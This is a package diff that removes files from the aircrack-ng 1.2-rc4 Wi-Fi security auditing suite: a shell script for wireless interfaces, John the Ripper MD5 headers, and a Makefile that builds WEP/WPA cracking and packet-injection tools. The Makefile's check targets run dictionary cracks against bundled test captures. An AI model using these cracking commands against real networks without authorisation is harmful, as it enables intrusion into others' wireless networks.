-		if [ ${#iface} -gt 7 ]; then
-			ifacet="\t"
-		else
-			ifacet="\t\t"
-		fi
-		printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}\n"
-	fi
-
-	if [ "$DRIVER" = "wl" ]; then
-		if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then
-			startwlIface $iface
-		fi
-		if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then
-			stopwlIface $iface
-		fi
-	elif [ "$MAC80211" = "1" ]; then
-		if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then
-			startMac80211Iface $iface
-		fi
-
-		if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then
-			stopMac80211Iface $iface
-		fi
-	fi
-done
-
-#end with some space
-printf "\n"

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/src/locale/airoscript-ng.mo Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/src/locale/es_ES.UTF-8/airoscript-ng.mo Deleted

aircrack-ng-1.2-rc4.tar.gz/scripts/versuck-ng/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/src/MD5_std.h Deleted

@@ -1,217 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-2000,2003,2011 by Solar Designer
- *
- * ...with changes in the jumbo patch, by bartavelle and magnum
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * FreeBSD-style MD5-based password hash implementation.
- */
-
-#ifndef _MD5_STD_H
-#define _MD5_STD_H
-
-#include "arch.h"
-#include "jcommon.h"
-
-typedef ARCH_WORD_32 MD5_word;
-
-/*
- * Binary ciphertext type.
- */
-typedef MD5_word MD5_binary[4];
-
-/*
- * Various structures for internal use.
- */
-
-typedef union {
-	double dummy;
-	MD5_word w[15];
-	char b[60];
-} MD5_block;
-
-typedef struct {
-	int length;
-	MD5_block *even, *odd;
-} MD5_pattern;
-
-typedef struct {
-	char s[8];
-	struct {
-		int p, s, ps, pp, psp;
-	} l;
-	struct {
-		MD5_block p, sp, pp, spp;
-	} e;
-	struct {
-		MD5_block p, ps, pp, psp;
-	} o;
-} MD5_pool;
-
-#if !MD5_IMM
-typedef struct {
-	MD5_word AC[64];
-	MD5_word IV[4];
-	MD5_word masks[2];
-} MD5_data;
-#endif
-
-#ifdef SIMD_PARA_MD5
-# ifndef SIMD_COEF_32
-#  define SIMD_COEF_32			4
-# endif
-# define MD5_N				(SIMD_PARA_MD5*SIMD_COEF_32)
-#else
-# undef MD5_ALGORITHM_NAME
-# if MD5_X2
-#  define MD5_N				2
-#  define MD5_ALGORITHM_NAME		"32/" ARCH_BITS_STR " X2"
-# else
-#  define MD5_N				1
-#  define MD5_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-# endif
-#endif
-
-typedef struct {
-#if !MD5_IMM
-	MD5_data data;
-#endif
-
-	MD5_binary out[MD5_N];
-
-	MD5_block _block[MD5_N];
-	MD5_pattern _order[21][MD5_N];
-	MD5_pool _pool[MD5_N];
-	char *prefix;
-	int prelen;
-} MD5_std_combined;
-
-#if defined(_OPENMP) && !MD5_ASM
-#define MD5_std_mt			1
-#define MD5_std_cpt			128
-#define MD5_std_mt_max			(MD5_std_cpt * 576)
-extern MD5_std_combined *MD5_std_all_p;
-extern int MD5_std_min_kpc, MD5_std_max_kpc;
-extern int MD5_std_nt;
-#define MD5_std_all_align		64
-#define MD5_std_all_size \
-	((sizeof(MD5_std_combined) + (MD5_std_all_align - 1)) & \
-	    ~(MD5_std_all_align - 1))
-#ifdef __GNUC__
-#define MD5_std_all \
-	(*(MD5_std_combined *)((char *)MD5_std_all_p + t))
-#define for_each_t(n) \
-	for (t = 0; t < (n) * MD5_std_all_size; t += MD5_std_all_size)
-#define init_t() \
-	int t = (unsigned int)index / MD5_N * MD5_std_all_size; \
-	index = (unsigned int)index % MD5_N;
-#else
-/*
- * For compilers that complain about the above e.g. with "iteration expression
- * of omp for loop does not have a canonical shape".
- */
-#define MD5_std_all \
-	(*(MD5_std_combined *)((char *)MD5_std_all_p + t * MD5_std_all_size))
-#define for_each_t(n) \
-	for (t = 0; t < (n); t++)
-#define init_t() \
-	int t = (unsigned int)index / MD5_N; \
-	index = (unsigned int)index % MD5_N;
-#endif
-#else
-#define MD5_std_mt			0
-extern MD5_std_combined MD5_std_all;
-#define for_each_t(n)
-#define init_t()
-#endif
-
-/*
- * MD5_std_crypt() output buffer.
- */
-#define MD5_out				MD5_std_all.out
-
-// these 2 are still used by the 'para' function
-#define MD5_TYPE_APACHE 1
-#define MD5_TYPE_STD	2
-#define MD5_TYPE_AIX	3
-
-/*
- * Initializes the internal structures.
- */
-struct fmt_main;
-extern void MD5_std_init(struct fmt_main *self);
-
-/*
- * Sets a salt for MD5_std_crypt().
- */
-extern void MD5_std_set_salt(char *salt);
-
-/*
- * Sets a key for MD5_std_crypt().
- * Currently only supports keys up to 15 characters long.
- */
-extern void MD5_std_set_key(char *key, int index);
-
-/*
- * Main hashing routine, sets MD5_out.
- */
-extern void MD5_std_crypt(int count);
-
-/*
- * Returns the salt for MD5_std_set_salt().
- */
-extern char *MD5_std_get_salt(char *ciphertext);
-
-/*
- * Converts an ASCII ciphertext to binary.
- */
-extern MD5_word *MD5_std_get_binary(char *ciphertext);
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/Makefile Deleted

@@ -1,301 +0,0 @@
-AC_ROOT		= ..
-include $(AC_ROOT)/common.mak
-
-TEST_DIR	= $(AC_ROOT)/test
-
-CFLAGS		+= -Iinclude
-
-iCC		= /opt/intel/bin/icc
-iCFLAGS		= -w -xHOST $(COMMON_CFLAGS)
-iOPTFLAGS	= -O3 -ip -ipo -D_FILE_OFFSET_BITS=64
-PROF_DIR	= $(PWD)/prof
-
-BINFILES        = aircrack-ng$(EXE) airdecap-ng$(EXE) packetforge-ng$(EXE) \
-		  ivstools$(EXE) kstats$(EXE) makeivs-ng$(EXE) \
-		  airdecloak-ng$(EXE) wpaclean$(EXE)
-
-LIBPCRE		=
-ifeq ($(PCRE), true)
-	LIBPCRE = $(shell $(PKG_CONFIG) --libs libpcre)
-endif
-
-ifneq ($(OSNAME), cygwin) #There is yet no libpcap support for windows, so we skip the crawler
-	HAVE_PCAP	= $(shell ld -lpcap 2> /dev/null && echo yes)
-	ifeq ($(HAVE_PCAP), yes) #cannot link with -lpcap, skip crawler
-		BINFILES	+= besside-ng-crawler$(EXE)
-		LIBPCAP		= -lpcap
-	endif
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true)
-	BINFILES	+= airolib-ng$(EXE)
-endif
-
-
-SBINFILES       = aireplay-ng$(EXE) airodump-ng$(EXE) airserv-ng$(EXE) \
-		  airtun-ng$(EXE) airbase-ng$(EXE)
-
-OPTFILES	= aircrack-ng-opt-prof_gen aircrack-ng-opt \
-		  aircrack-ng-opt-prof prof/*
-
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(experimental) $(EXPERIMENTAL))),true)
-	SBINFILES	+= wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) besside-ng$(EXE)
-	BINFILES	+= buddy-ng$(EXE)
-endif
-
-SRC_SSE_COMMON	= memory.c wpapsk.c
-OBJS_SSE_COMMON = memory.o wpapsk.o
-OBJ_MEMORY	= memory.o
-SRC_SSE_CORE	= sse-intrinsics.c
-OBJ_SSE_CORE	= sse-intrinsics.o
-SRC_SIMD_CORE	= simd-intrinsics.c
-OBJ_SIMD_CORE	= simd-intrinsics.o
-SIMDOUT		= wpapsk-simd.o
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true)
-SSESIMD_BIN	= wpapsk-simd.o wpapsk-sse.o aircrack-ng-core.o aircrack-ng-simd$(EXE) aircrack-ng-sse$(EXE)
-CFLAGS		+= -DOLD_SSE_CORE
-else
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(newsse) $(NEWSSE))),true)
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(simdcore) $(SIMDCORE))),true)
-CFLAGS		+= -DSIMD_CORE
-SSEC_INT	= simd-intrinsics.c $(SRC_SSE_COMMON)
-SSEO_INT	= simd-intrinsics.o $(OBJS_SSE_COMMON)
-else
-SSEC_INT	= sse-intrinsics.c $(SRC_SSE_COMMON)
-SSEO_INT	= sse-intrinsics.o $(OBJS_SSE_COMMON)
-endif
-endif
-endif
-
-SRC_LINECOUNT	= linecount.o
-LIBLINECOUNT	= liblinecount.a
-
-SRC_PTW		= aircrack-ptw-lib.c
-SRC_AC		= aircrack-ng.c crypto.c common.c $(SSEC_INT) $(SRC_PTW)
-OBJS_PTW	= aircrack-ptw-lib.o
-OBJS_AC		= aircrack-ng.o cpuid.o crypto.o common.o $(SSEO_INT) uniqueiv.o $(OBJS_PTW) $(LIBLINECOUNT)
-OBJS_AC_MULTI	= crypto.o common.o uniqueiv.o $(OBJS_PTW)
-ASM_AC		= sha1-sse2.S
-
-OBJS_AD		= airdecap-ng.o crypto.o common.o
-OBJS_PF		= packetforge-ng.o common.o crypto.o
-OBJS_AR		= aireplay-ng.o common.o crypto.o osdep/radiotap/radiotap.o
-OBJS_ADU	= airodump-ng.o common.o crypto.o uniqueiv.o osdep/radiotap/radiotap.o
-ifneq ($(OSNAME), Linux)
-	OBJS_ADU	+= osdep/common.o
-endif
-OBJS_AT		= airtun-ng.o common.o crypto.o osdep/radiotap/radiotap.o
-OBJS_IV		= ivstools.o common.o crypto.o uniqueiv.o
-OBJS_AS		= airserv-ng.o common.o osdep/radiotap/radiotap.o
-OBJS_WS		= wesside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW)
-OBJS_BS		= besside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW)
-OBJS_BC		= besside-ng-crawler.o
-OBJS_AL		= airolib-ng.o crypto.o common.o
-OBJS_ES		= easside-ng.o common.o osdep/radiotap/radiotap.o
-OBJS_BUDDY	= buddy-ng.o common.o
-OBJS_MI		= makeivs-ng.o common.o uniqueiv.o
-OBJS_AB		= airbase-ng.o common.o crypto.o osdep/radiotap/radiotap.o
-OBJS_AU		= airdecloak-ng.o common.o osdep/radiotap/radiotap.o
-OBJS_TT		= tkiptun-ng.o common.o crypto.o osdep/radiotap/radiotap.o
-OBJS_WC		= wpaclean.o osdep/radiotap/radiotap.o
-
-OSD		= osdep
-LIBS		:= -L$(OSD) -l$(OSD) $(LIBS)
-ifeq ($(OSNAME), cygwin)
-LIBS		+= -liphlpapi -lsetupapi -luuid
-endif
-LIBOSD		= $(OSD)/lib$(OSD).a
-
-LIBSSL		= -lssl -lcrypto
-LIBSTDCXX	= -lstdc++
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true)
-	LIBSSL		= -lgcrypt $(LDFLAGS)
-	CFLAGS 		+= -DUSE_GCRYPT
-	OBJS_AC		+= sha1-git.o
-	OBJS_AD		+= sha1-git.o
-	OBJS_PF		+= sha1-git.o
-	OBJS_IV		+= sha1-git.o
-	OBJS_AR		+= sha1-git.o
-	OBJS_ADU	+= sha1-git.o
-	OBJS_AT		+= sha1-git.o
-	OBJS_AB		+= sha1-git.o
-	OBJS_AL		+= sha1-git.o
-	OBJS_WS		+= sha1-git.o
-	OBJS_TT		+= sha1-git.o
-	OBJS_BS		+= sha1-git.o
-else
-	LIBSSL		= -lssl -lcrypto $(LDFLAGS)
-endif
-
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true)
-	LIBSQL		= -L/usr/local/lib -lsqlite3
-else
-	LIBSQL		=
-endif
-
-all: config userland $(SBINFILES) $(SSESIMD_BIN)
-
-userland: $(BINFILES)
-
-config: $(AC_ROOT)/common.cfg
-
-$(AC_ROOT)/common.cfg:
-	sh $(AC_ROOT)/autocfg $(CC) $(AC_ROOT)
-
-$(LIBLINECOUNT): $(SRC_LINECOUNT)
-	$(AR) cru $(LIBLINECOUNT) $(SRC_LINECOUNT)
-	$(RANLIB) $(LIBLINECOUNT)
-	touch $(@)
-
-$(LIBOSD):
-	$(MAKE) -C $(OSD)
-
-aircrack-ng-opt: $(SRC_AC)
-	$(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) $(SRC_AC) $(ASM_AC) $(LIBSSL) \
-	uniqueiv.o -o aircrack-ng-opt -lpthread $(LIBSQL)
-
-aircrack-ng-opt-prof_gen: $(SRC_AC)
-	mkdir -p prof
-	$(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_genx -DDO_PGO_DUMP \
-	-prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \
-	aircrack-ng-opt-prof_gen -lpthread $(LIBSQL)
-
-aircrack-ng-opt-prof_use: $(SRC_AC)
-	$(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_use \
-	-prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \
-	aircrack-ng-opt-prof -lpthread $(LIBSQL)
-
-aircrack-ng$(EXE): $(OBJS_AC)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX)
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true)
-wpapsk-simd.o: wpapsk.c
-	$(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -DSIMD_CORE -c -o $(@) wpapsk.c
-
-aircrack-ng-core.o: aircrack-ng.c
-	$(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -c -o $(@) aircrack-ng.c
-
-wpapsk-sse.o: wpapsk.c
-	$(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) -c -o $(@) wpapsk.c
-
-aircrack-ng-simd$(EXE): $(OBJS_AC_MULTI) wpapsk-simd.o $(OBJ_MEMORY) $(OBJ_SIMD_CORE)
-	$(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) $(LDFLAGS) $(OBJS_AC_MULTI) $(OBJ_MEMORY) $(OBJ_SIMD_CORE) aircrack-ng-core.o wpapsk-simd.o $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX) $(LIBLINECOUNT)
-
-aircrack-ng-sse$(EXE): $(OBJS_AC_MULTI) wpapsk-sse.o $(OBJ_MEMORY) $(OBJ_SSE_CORE)
-	$(CC) $(filter-out -DOLD_SSE_CORE,$(CFLAGS)) $(LDFLAGS) $(OBJS_AC_MULTI) $(OBJ_MEMORY) $(OBJ_SSE_CORE) aircrack-ng-core.o wpapsk-sse.o $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) $(LIBSTDCXX) $(LIBLINECOUNT)
-endif
-
-airdecap-ng$(EXE): $(OBJS_AD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL)
-
-packetforge-ng$(EXE): $(OBJS_PF)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL)
-
-aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL)
-
-airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread $(LIBPCRE)
-
-airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AS) -o $(@) $(LIBS)
-
-airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL)
-
-ivstools$(EXE): $(OBJS_IV)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL)
-
-kstats$(EXE): kstats.o
-	$(CC) $(CFLAGS) $(LDFLAGS) kstats.o -o $(@) $(LDFLAGS)
-
-wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz
-
-easside-ng$(EXE): $(OBJS_ES) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz
-
-buddy-ng$(EXE): $(OBJS_BUDDY)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BUDDY) -o $(@) $(LDFLAGS)
-
-besside-ng$(EXE): $(OBJS_BS) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BS) -o $(@) $(LIBS) $(LIBSSL) -lz $(LIBPCRE)
-
-besside-ng-crawler$(EXE): $(OBJS_BC)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BC) -o $(@) $(LIBPCAP)
-
-makeivs-ng$(EXE): $(OBJS_MI)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_MI) -o $(@) $(LDFLAGS)
-
-airolib-ng$(EXE): $(OBJS_AL)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL)
-
-airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread
-
-airdecloak-ng$(EXE): $(OBJS_AU)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AU) -o $(@) $(LDFLAGS)
-
-tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL)
-
-wpaclean$(EXE): $(OBJS_WC) $(LIBOSD)
-	$(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WC) -o $(@) $(LIBS)
-
-strip: $(BINFILES) $(SBINFILES)
-	strip $(BINFILES) $(SBINFILES)
-
-clean:
-	$(MAKE) -C $(OSD) clean
-	-rm -f $(SBINFILES) $(BINFILES) $(OPTFILES) airolib-ng$(EXE) *.o wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) buddy-ng$(EXE) besside-ng$(EXE) a.out $(LIBLINECOUNT) $(SSESIMD_BIN)
-
-distclean: clean
-
-install: all
-	$(MAKE) -C $(OSD) install
-	install -d $(DESTDIR)$(bindir)
-	install -m 755 $(BINFILES) $(DESTDIR)$(bindir)
-	install -d $(DESTDIR)$(sbindir)
-	install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir)
-
-uninstall:
-	$(MAKE) -C $(OSD) uninstall
-	-rm -f $(DESTDIR)$(bindir)/aircrack-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/airdecap-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/packetforge-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/airolib-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/ivstools$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/kstats$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/buddy-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/airodump-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/airserv-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/airtun-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/aireplay-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/wesside-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/easside-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/besside-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/besside-ng-crawler$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/wpaclean$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/airbase-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/makeivs-ng$(EXE)
-	-rm -f $(DESTDIR)$(bindir)/airdecloak-ng$(EXE)
-	-rm -f $(DESTDIR)$(sbindir)/tkiptun-ng$(EXE)
-	-rm -rf $(DESTDIR)$(etcdir)
-
-check: all
-	./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e Harkonen -q $(TEST_DIR)/wpa2.eapol.cap | grep 'KEY FOUND! \[ 12345678 \]' 
-	./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e test -q $(TEST_DIR)/wpa.cap | grep 'KEY FOUND! \[ biscotte \]'
-	./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa2-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]'
-	./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]'
-	./aircrack-ng$(EXE) $(TEST_DIR)/wep_64_ptw.cap -l /dev/null | grep "KEY FOUND" | grep "1F:1F:1F:1F:1F"
-	./airdecap-ng$(EXE) -e linksys -p dictionary $(TEST_DIR)/wpa2-psk-linksys.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 25
-	./airdecap-ng$(EXE) -e linksys -p dictionary $(TEST_DIR)/wpa-psk-linksys.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 53
-	./airdecap-ng$(EXE) -e test -p biscotte $(TEST_DIR)/wpa.cap -o /dev/null -c /dev/null | grep "decrypted WPA" | grep 2
-	$(TEST_DIR)/test-airdecap-ng.sh $(CURDIR)
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true)
-	$(TEST_DIR)/test-airolib-sqlite.sh $(CURDIR)
-endif

aircrack-ng-1.2-rc4.tar.gz/src/aligned.h Deleted

@@ -1,63 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software was written by JimF jfoug AT cox dot net
- * in 2013. No copyright is claimed, and the software is hereby
- * placed in the public domain. In case this attempt to disclaim
- * copyright and place the software in the public domain is deemed
- * null and void, then the software is Copyright (c) 2013 JimF
- * and it is hereby released to the general public under the following
- * terms: This software may be modified, redistributed, and used for any
- * purpose, in source and binary forms, with or without modification.
- */
-
-#ifndef _ALIGNED_H_
-#define _ALIGNED_H_
-
-#if defined(__GNUC__)
-#define JTR_ALIGN(n) __attribute__ ((aligned(n)))
-#elif defined(_MSC_VER)
-#define JTR_ALIGN(n) __declspec(align(n))
-#else
-#define JTR_ALIGN(n)
-#endif
-
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/arch.h Deleted

@@ -1,495 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 2003,2006,2008,2010,2011,2015 by Solar Designer
- *
- * ...with a trivial change in the jumbo patch, by Alain Espinosa.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Architecture specific parameters for x86-64.
- */
-
-#ifndef _ARCH_H
-#define _ARCH_H
-
-#ifdef __ARM_NEON__
-#define SHA_BUF_SIZ		16
-#define SIMD_COEF_32            4
-#define SIMD_COEF_64            2
-#ifndef SIMD_PARA_MD4
-#define SIMD_PARA_MD4           2
-#endif
-#ifndef SIMD_PARA_MD5
-#define SIMD_PARA_MD5           2
-#endif
-#ifndef SIMD_PARA_SHA1
-#define SIMD_PARA_SHA1          1
-#endif
-#ifndef SIMD_PARA_SHA256
-#define SIMD_PARA_SHA256        1
-#endif
-#ifndef SIMD_PARA_SHA512
-#define SIMD_PARA_SHA512        1
-#endif
-#endif
-
-#if AC_BUILT
-#include "autoconfig.h"
-#else
-#if defined(__ILP32__) || defined(_WIN64) || defined (__LLP64__) || \
-	(defined(__SIZE_OF_LONG__) && __SIZEOF_LONG__ == 4)
-#define ARCH_WORD			long long
-#else
-#define ARCH_WORD			long
-#endif
-#define ARCH_SIZE			8
-#define ARCH_BITS			64
-#define ARCH_BITS_LOG			6
-#define ARCH_BITS_STR			"64"
-#define ARCH_LITTLE_ENDIAN		1
-#define ARCH_INT_GT_32			0
-#endif
-
-#define ARCH_ALLOWS_UNALIGNED		1
-#define ARCH_INDEX(x)			((unsigned int)(unsigned char)(x))
-
-#define CPU_DETECT			0
-
-#ifdef __SSE2__
-#define CPU_NAME			"SSE2"
-#endif
-
-#if __SSSE3__ || JOHN_SSSE3
-#undef CPU_DETECT
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_SSSE3			1
-#undef CPU_NAME
-#define CPU_NAME			"SSSE3"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-ssse3"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
-#if __SSE4_1__ || JOHN_SSE4_1
-#undef CPU_DETECT
-#define CPU_DETECT			1
-#define CPU_REQ				1
-#define CPU_REQ_SSE4_1			1
-#undef CPU_NAME
-#define CPU_NAME			"SSE4.1"
-#if CPU_FALLBACK && !defined(CPU_FALLBACK_BINARY)
-#define CPU_FALLBACK_BINARY		"john-non-sse4.1"
-#define CPU_FALLBACK_BINARY_DEFAULT
-#endif
-#endif
-
